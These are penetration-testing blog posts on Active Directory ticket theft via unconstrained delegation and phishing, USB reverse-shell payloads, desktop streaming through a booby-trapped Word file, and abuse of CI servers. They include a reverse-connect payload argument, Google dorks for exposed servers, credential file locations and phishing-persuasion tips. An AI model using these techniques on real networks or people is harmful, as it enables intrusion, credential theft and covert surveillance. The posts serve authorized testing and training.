Sunday, February 28, 2016

Getting Domain Admin with Kerberos Unconstrained Delegation

A recent penetration test was one of the rare ones where it was not possible to locate a domain admin credential (password/hash/ticket) using the usual methods. I already had Administrator access to one of the server thanks to a file upload feature in an in-house log management dashboard running over WAMP (WAMP runs with SYSTEM privileges). I got access to few more servers by using hashes of a domain user who was local admin on couple more servers and some more similar stuff, but still no luck. 

Anyway, after looking around for Active Directory and Kerberos related attacks for a while, it was time for reconsidering the attack approach. Recall the first thing which comes to mind when we fail at server side attacks? Absolutely! Client side attacks. I could drop some emails with attachments and links and hope for hitting a user machine which leads me to a server which has a Domain Admin token. The client, for his own reasons, wanted me to keep all the connect back shells/requests from phishing within the internal network and there was absolutely no outgoing traffic allowed towards my VPN machine.(Diagram build with draw.io)
So, either I needed to setup multiple listeners on one of the compromised servers which can handle multiple connect back shells or some way to use an existing service as a listener for my phishing attacks. Since I am lazy :) I decided to go with the second option, that is, using an existing service. While enumerating the domain after initial foothold, I saw that a web server had Kerberos Unconstrained Delegation enabled.

Once I realized Kerberos Unconstrained Delegation was enabled, I could attempt to exploit this scenario using a technique Sean Metcalf (@PyroTek3) spoke about last year and published on ADSecurity.org  (https://adsecurity.org/?p=1667). Sean covers how exploiting a server with Kerberos Unconstrained Delegation can lead to credential theft of DA credentials resulting in Active Directory compromise by tricking a Domain Admin into connecting to any Kerberos service on the server.

So, all that needed to be done was creating phishing emails and use them to connect back to the server where I had admin access and wait for a domain admin to fall for an email.

Here is how I did it (replicated in my lab).
1. pfptlab-build is the server where we have admin access with RDP, PowerShell Remoting etc.
2. pfptlab-web is the server where we can execute commands as admin but it is not directly accessible.

Searching for computers with Unconstrained Delegation

By using the built-in Active Directory PowerShell Module. This module is available by default on Windows Server 2012. From an elevated shell on the server with admin access (pfptlab-build) use the below commands:
I have wrapped up above commands in a script Get-Unconstrained.ps1 found in the ActiveDirectory category of Nishang.

Another way of searching for computers with Unconstrained Delegation is using Powerview:

Setting up the "Listener"

On the server where unconstrained delegation is enabled (pfptlab-web in the lab), we can enumerate existing tickets using Invoke-Mimikatz. Keep in mind that we have admin access to the server with the help of hash of a domain user who is local admin on that server. Please note that we can pass the ticket as well but the expiry time of the ticket will play a spoilsport here as we need to wait till a domain admin connects to the machine.

We can use the hash of domain user webadmin which is a local admin on the pfptlab-web, the server with unconstrained delegation:
This is how the output of these commands look like:
Now, let's list tickets on pfptlab-web, the server with Unconstrained Delegation. Since, we have direct access to the pfptlab-build machine, let's *drop the script on disk* there and use below commands to use it in a stateful session on pfptlab-web without touching disk. Remember that below commands need to be run in the PowerShell console opened by over-passing the hash of the webadmin user:

An alternate way with a catch!
A quick thing to note here. If we try to use below command (to execute Invoke-Mimikatz on pfptlab-web without dropping the script to disk on pftplab-build) there will be an error.
Because, we cannot pass named parameters in the -ArgumentList parameter. It is not possible to pass "-Command '"sekurlsa::tickets"'" in the above case. We can pass only the positional parameters. To overcome this I changed the positions of the parameters. I assigned position 0 to the "Command" parameter of Invoke-Mimikatz and the above command worked successfully. Now the catch! If I add "/export" to the ArgumentList parameter in the above command, it fails as PowerShell passes it to the Invoke-Mimikatz as second parameter. If anyone is able to do that successfully, please share!

So, assuming that we have enumerated the Domain Administrator accounts already and one of them is the "Administrator", to know if a domain admin has connected we can use the following ugly method:
May be someone will automate this in a much cleaner way. If a ticket of the Domain Administrator, Administrator, is saved by Mimikatz, the second command above should list it. But, no Domain Admin ticket on pfptlab-web, yet.

Preparing email

Fortunately, the client's internal mail server allowed email relaying so sending phishing emails was not a problem. I was able to get access to email ids with a combination of AD usernames and couple of email excel files I got my hands on. After sharing the emails with the client, he removed emails of some guys from the management. One of the multiple email templates used was:
While I am no expert in crafting phishing emails, I would like you to note some points in the above email:
- No intimidation but a balanced tone of Authority.
- Use of jargon but not too obscure words, as if I was really trying to explain complex things in simple terms to the user. 
- Requirment of urgent action by the target user.
- Command which displays a lot of output.
- Providing an alternate way to the user if they can't access the share which makes me look more helpful.
Though I tried to pick the "email culture" of the client from the emails I exchanged, surely, this email could be written in a lot better way.

Using the below command, email was sent to users.
This is  how the email looked in like in mailbox of one of the targets.

Execution

After sending email, I started checking the tickets for Domain Administrator by running Invoke-Mimikatz repeatedly and soon there were more than one domain administrators who complied to whatever they were asked to do :D
Now, in my opinion, the best way to use the tickets is to copy them to the pfptlab-build server as we have direct connectivity to it. Using the below command we can copy all the tokens from the pfptlab-web to pfptlab-build machine.
Now, we can use one of the Administrators tickets copied locally to elevate our privileges to Domain Administrator:
Awesome! Finally Domain Admin access. Let the victory dance begin :D :D

Here is a quick video to demonstrate the attack:


After getting the DA access, I gathered some business related data to demonstrate actual impact to the client management.

Please leave feedback and comments.

Learn penetration testing of a highly secure, live Windows network with me in PowerShell for Penetration Testers Training at:

CanSecWest, Vancouver (4 days - March 12-15th, 2016) - https://cansecwest.com/dojos/2016/powershell.html





Thursday, February 11, 2016

Hacking with Human Interface Devices - Easy Reverse Shells


Kautilya has the ability to do interesting and useful stuff using a Human Interface Device. But sometimes, nothing beats a simple reverse shell. Recently, I added some new payloads to Kautilya which are useful for getting reverse shells using different protocols.

This post describes the payloads which give us the capability of having reverse connect PowerShell shells from Windows targets. With these payloads, Kautilya now has improved capability to provide us with a foothold machine in penetration testing engagements where use of Social Engineering techniques is allowed. Those who follow my other tool Nishang, I did a five part blog series on that.


Lets see the payloads in action.

Reverse TCP and Reverse UDP

Both of the payloads can be used with a standard netcat listener both on Windows and Linux. On Windows, Powercat can also be used. We just need to provide the IP to which the target connects back and the port to use. Upload it to a HID and send it to a target.

When a target connects the device, this is how it looks like at the listener.

Neat! An intercative reverse PowerShell shell. 

Reverse ICMP


My favorite one for bypassing network restrictions, a reverse shell completely over ICMP. This payload needs a listener, icmpsh_m.py, from the icmpsh suite. Run the command "sysctl -w net.ipv4.icmp_echo_ignore_all=1" and start the listener.  This is how it looks like on a successful connection:


This one has been useful in so many penetration tests.

Reverse HTTPS and Reverse HTTP

Reverse HTTPS is proxy aware and uses valid HTTPS traffic for reverse PowerShell shell. Its target part (typing done on the target machine) is very small and this makes it very useful. Currently, a listener on Windows is required. Run Invoorke-PoshRatHttps.ps1 in the extras directory of Kautilya from an elevated shell. The listener script adds exception to the Windows Firewall for incoming requests on the specified port.

Awesome, isn;t it?

Hope you liked the post! As always I look forward for feedback and comments.


Learn penetration testing of a highly secure live Windows network with me in PowerShell for Penetration Testers Training at:

CanSecWest, Vancouver (4 days - March 12-15th, 2016) - https://cansecwest.com/dojos/2016/powershell.html



Thursday, December 17, 2015

Stream a target's Desktop using MJPEG and PowerShell

Recently, I have been working on an interesting concept. I wanted to use MJPEG to stream images in real time from a target desktop to be able to see the activity of a target user. I literally spent weeks to get it working but in the end, it turned out that a small piece of PowerShell code could be used to achieve this. Anyway, I give you Show-TargetScreen.ps1. This script can stream a target's desktop in real time and the stream could be seen in browsers which support MJPEG (Firefox).

Show-TargetScreen is available in the Gather category of Nishang. The current source code looks like this:


Now, to use it for reverse connect, to avoid having to write a listener/server, I used powercat to run a local relay to which Show-TargetScreen connects and we point Firefox to the local port. So, start a powercat listener and relay to any local port. In the below command, Show-TargetScreen will connect to port 443 and Firefox will connect to Port 9000: 
Note that if on a *nix machine, netcat could be used as well. 

Now, to be able to stream a user's Desktop, Show-TargetScreen must be used with a client side attack. Let's use it with Out-Word from Nishang. Since like other Nishang scripts, Show-TargetScreen.ps1 loads a function with same name, we should pass an argument -"Show-TargetScreen -Reverse -IPAddress 192.168.1.6 -Port 443", and use it as a payload for Out-Word. 
Now, the generated doc file is to be sent to a target. As soon as a target user opens up the Word file, we will have a connect back on the powercat listener which will relay to the configured local port (TCP 9000 in this example).
Now if we point Firefox to http://127.0.0.1:9000, we have a live stream of the target user's Desktop.
Awesome! Isn't it? I recently tried this in couple of pen tests and was quite satisfied with the results.

Couple of things which I would like to improve in future:
- Proxy support
- HTTPS Connection.

Feel free to suggest improvements and submit pull requests. Feedback and comments are welcome.

Thursday, December 3, 2015

Week of Continuous Intrusion Tools - Day 4 - Common Abuse Set, Lateral Movement and Post Exploitation

Welcome to Day 4 of Week of Continuous Intrusion tools. We are discussing security of Continuous Integration (CI) tools in this series of blog posts.


Day 1 - Jenkins (and Hudson) (Click Here)
Day 2 - TeamCity (Click Here)
Day 3 - Go and CruiseControl (Click Here)
Day 4 - Common Abuse Set, Lateral Movement and Post Exploitation
Day 5 - Defense and other discussion (Click Here)

Day 4 is dedicated to Common abuse set, Lateral movement and Post exploitation.

In the past three days, we discussed how different attacks can be executed against Jenkins (and Hudson), TeamCity, (very briefly) CruiseControl and Go. Some of the readers might have noticed that many attacks looked common and were result of mis-configurations, lack of common security controls and/ or abuse of features. Lets pick things common to the tools we discussed and make a Common Abuse Set out of them.


Common Abuse Set

From the previous posts, the Common Abuse Set for the CI Tools we saw turns out to be:
  • Missing basic and common security controls
    • Missing protections against brute force attempts.
    •  Insecure storage of SSH keys and credentials.
    • Higher privileges on Windows machines for both master and slaves.
  •  The feature of Command Execution at the Operating System level.
  • Mis-Configuration
    • Agent on Master
    • Read permissions to everyone on public instances.
    • Use of HTTP for login
    • Not enabling encrypted communication between master and slaves.
  • Poor Security practices by users
    • Passwords in build parameters.
    • Use of username as password specially in case of users local to a CI tool. 
  • Many public instances of these tools
     Lets have a quick look at some of them.

     (Missing) Security Controls


    1. Authentication

    CI tools were found to missing even the most basic security control like protection against Brute Force attacks. In fact, Jenkins and Go have no authentication at all in the default installation. If you are following me this blog for past three days, you will find that it is trivial to find instances of these tools on the internet running with the default configurations. This highlights the state of security for these tools.Not many enterprise tools miss these basic controls.

    CI Tool Jenkins/Hudson Teamcity Go
    Authentication
    - Login attempts
    -Captcha
    -Password Policy
    - No Authentication by Default
    - No protection against Brute Force attacks in the recommended Matrix based Authorization
    - No captcha
    - No Password Policy (Complexity, History, Expire time etc.)
    - Guest User can be enabled
    - Registration enabled by default
    - Wait after five failed login attempts in one minute
    - No captcha
    - No Password Policy (Complexity, History, Expire time etc.)
    - No Authentication by Default
    - No protection against Brute Force attacks.
    - No captcha
    - No Password Policy (Complexity, History, Expire time etc.)

    2. Insecure Storage of Credentials/SSH Keys
    All the tested CI tools store all or some credentials and SSH Keys in insecure format. All of them store SSH Keys in clear text and encrypted credentials from Jenkins could be retrieved in clear text. Its amazing that these tools still do this.

    3. Privileges
    All the tested CI tools run with either SYSTEM or admin privileges on Windows. This holds true for both masters and slaves/agents. This makes the command execution access much more fruitful from an attacker's view.

    Command Execution

    The feature of CI tools which allow execution of Operating System commands by adding build steps is what makes them special. In most of the widely used enterprise tools, the ability to execute OS commands is uncommon. This ability makes CI tools a useful target. Add to it the capability of distributed builds and by compromising the master an attacker can execute commands on large number of slaves.

    Mis-configuration

    Agent on master
    Documentation of all the tested CI tools do not recommend having a build executor or agent on master. Still, Jenkins install it by default and TeamCity provides it in the same installation package. Only Go needs a user to download a separate installation for agent on master. We have already seen that an agent on master makes all security useless.

    Lateral Movement and Post Exploitation

    The kind of access we have with CI tools makes it possible to do much more interesting stuff in a network other than just a reverse shell. 

    Domain Admin


    Because CI Tools we discussed support distributed builds, in an enterprise environment it is quite possible to spot machines (master and/or slave) where a credentials of a high privileged user like a Common Local Admin or a Domain Admin are available. Note that even if master runs on *nix, there are almost always slaves running on Windows. 

    Lets assume this scenario. We have access to Jenkins or any other tool and the ability to configure builds on many slaves and one of the slaves has a process running as Domain Administrator.  We can use PowerShell (and other tools as well) to enumerate and reuse the token and escalate to Domain Admin. We can use Invoke-TokenManipulation from PowerSploit for enumeration and impersonation.We can use the below command in a Jenkins build step for downloading and executing the script in memory:
    Since the Jenkins runs as SYSTEM, this will list all the available tokens.
    Note that there is a token for the Domain Administrator. Now we can use the below command in Jenkins build step to run Invoke-TokenManipulation in memory, impersonate the token of Domain Administrator and run the Get-Process cmdlet on the Domain Controller.
    And the result looks like:
    Awesome! We just executed command on the domain controller as a domain admin. Too easy? Try it in an environment where you are authorized to do so and get pleasantly surprised ;)
    Please note that we assumed that the enumeration of name of Domain Admins and the Domain Controller was done already (which is trivial). Also, even if we cannot find a privileged user on any of the slaves, we can always try querying other machines in the network from the slave machines we have access to ;) Note that while querying other machines in a domain we must impersonate a domain user on the slave machine to be able to interact with Active Directory.

    Linux machines

    While testing the CI tools, we regularly got hands on SSH keys. These SSH keys could be used to access version control and Linux hosts.

    Lets assume this scenario. We got access to a Jenkins instance. We can retrieve and use SSH key to login to a Linux machine (root or normal user depending upon the keys). As we saw in Day 1, SSH keys in Jenkins are stored in clear either in $JENKINS_HOME or credentials.xml. We can also retrieve the passphrase. More than often, we will be able to login to a large number of slaves.

    Lets read credentials.xml and see if there are any private SSH keys there.
    Seems like there is a private key for a user named "ubuntuadmin" which has passphrase (encrypted). We can retreive the pass phrase using the method discussed in Day 1. Now, the only missing part is on which machine the key could be used.  For that, either we need to see build logs to find any logs regarding this key use or simply try it on all the Linux machines available.

    Also, to use the key with Putty, we need to convert it in putty format using puttygen.
    And then:
    Neat! It just depends on the kind of confugration and usage of CI Tools in the target network. Source code repositories, version control systems and databases are also often accessible after compromising a CI tool.

    Video Demonstration


    Hope you enjoyed the post! Feedback and comments are welcome :)

    To support my research, join me for a two days training "PowerShell for Penetration Testers" at:

    BlackHat, Asia (March 29-30th, 2016) - https://www.blackhat.com/asia-16/training/powershell-for-penetration-testers.html

    HITB, Amsterdam (May 24-25th, 2016) - http://conference.hitb.org/hitbsecconf2016ams/sessions/2-day-training-3-powershell-for-penetration-testers/

    Wednesday, December 2, 2015

    Week of Continuous Intrusion tools : Day 3 - Go and CruiseControl

    Welcome to the Day 3 of the Week of Continuous Intrusion Tools. We are having a look at the attack surface and abuse of Continuous Integration (CI) tools.

    To read posts of other days refer the table below:

    Day 1 - Jenkins (and Hudson) (Click Here)
    Day 2 - TeamCity(Click Here)
    Day 3 - Go and CruiseControl
    Day 4 - Common Abuse Set, Lateral Movement and Post Exploitation (Click Here)
    Day 5 - Defense and other discussion (Click Here)

    Day 3 is dedicated to Go. Go is an open source CI Tool. It is available here. Like previously discussed CI tools, Go supports distributed builds. That is, getting access to a Go Server provides access to not only the agents but to good amount of source code and much more!

    Some of the security issues to be noticed with Go:
    • No authentication in the default installation.
    • No protection against brute force attacks (repeated login attempts).
    • No password complexity/policy for user passwords.
    • Runs with SYSTEM or high privilege user on Windows (most configs settle with an admin account).
    Unfortunately, there are not many public instances of Go to be able to comment on the information leaked by them (see the Google Dorks section). Almost all the Go servers I did a pen test on were internal ones with regularly having no authentication at all.

    To be able to do something interesting at the Operating System level we must have the Pipeline Group Administrator privileges (which is a non admin privilege). I was unable to find a way to enumerate users so some OSINT has to be used to locate developers, source code management teams and build support teams in the target enterprise (doing a ruthless Brute Force may be useless). I am not going to cover that in this post. We have to make an assumption of getting access to a Pipeline Group Administrator user.

    Executing Commands

    Having the ability to add/edit jobs in a Pipeline, once again, we can execute commands on the OS level. We must configure a job which runs custom commands. See this documentation.
    And this is how the output looks like:
    Nice! SYSTEM privileges yet again.

    Now, lets see how we can use one very useful PowerShell shell to get a reverse connect. Though Go may not be one of the best tools to show this demo due to the lack of its public instance, lets use only ICMP communication to get a reverse shell. We will use Invoke-PowerShellIcmp from Nishang.  This reverse shell communicates completely over ICMP and needs a listener on Linux from the icmpsh suite. See my earlier blog post detailing its use here. After setting up the listener, we will modify Invoke-PowerShellIcmp to remove help contents and make the function call from the script itself, now we can use Invoke-Encode from Nishang to compress and base64 encode it. Now, it could be used in the custom command as below:

    and on the listener we can see:
    Great! We got an ICMP reverse shell!

    Now, if we have the ability to add/edit jobs on master. We can execute some more interesting attacks. Here we must note that Go does not have an agent on master and it doesn't even come in the same installation bundle. But for some reasons, people just love to run an agent on the master computer. 

    Removing Security

    If we have the ability to add/edit jobs on master, we can remove all the security from a Go Server. We must either remove the file cruise-config.xml from the config directory in Go installation directory or remove the part of it or we can add the current user to in the part of cruise-config.xml. The Go Server service must be restarted after that. Now, anyone with the url will have administrative rights on the Go Server.

    Below commands could be used to remove security from a Go Server (deletes cruise-config.xml and restarts the Go Server service)

    Credentials storage in cleartext

    SSH keys are stored in cleartext on the disk. A user with ability to configure jobs on master can read the keys. Location of SSH keys is:
    C:/Program Files (x86)/Go Server/%HOMEDRIVE%%HOMEPATH%/.ssh on Windows
    /var/go/.ssh on Linux

    Another interesting security issue is that to create users Go allows to use a file base authentication. Read the documentation here. The password in such a file is a base64 encoded SHA-1 with no salt. It is not hard to compute the password in cleartext once we have access to that file specially when Go doesn't enforce any password complexity. We can get to know if File based authentication is being used by looking for "passwordFile path" in the cruise-config.xml

    CruiseControl

    CruiseControl used to be very widely used with separate forks for .Net and Ruby. You can get it from here. We will have only a very quick look at CruiseControl as it is an old software but still there are public instances and I spot it regularly in internal pen tests. 
    It has no authentication by default. Commands could be executed by adding an “exec” builder in the Schedule category. Make sure to check out the /dashboard and /cruisecontrol on a CruiseControl instance.

    Google Dorks

    Following Google Dorks could be used to find public instances (too few) of Go
    Public instances: intitle:"Go - Login" inurl:go/auth/
    Public instances with no authentication: intitle:"Administration - Go" inurl:/go/admin
    Public instances of CruiseControl: intitle:"CruiseControl - Dashboard"

    The Unserialize vulnerability

    A fix was released for Go on November 9th, 2015: http://www.go.cd/2015/11/09/deserialization-vulnerability-commons-collections.html

    CruiseControl also uses the Commons-Collections library but I was not interested in looking at it in detail.


    To support my research, join me for a two days training "PowerShell for Penetration Testers" at: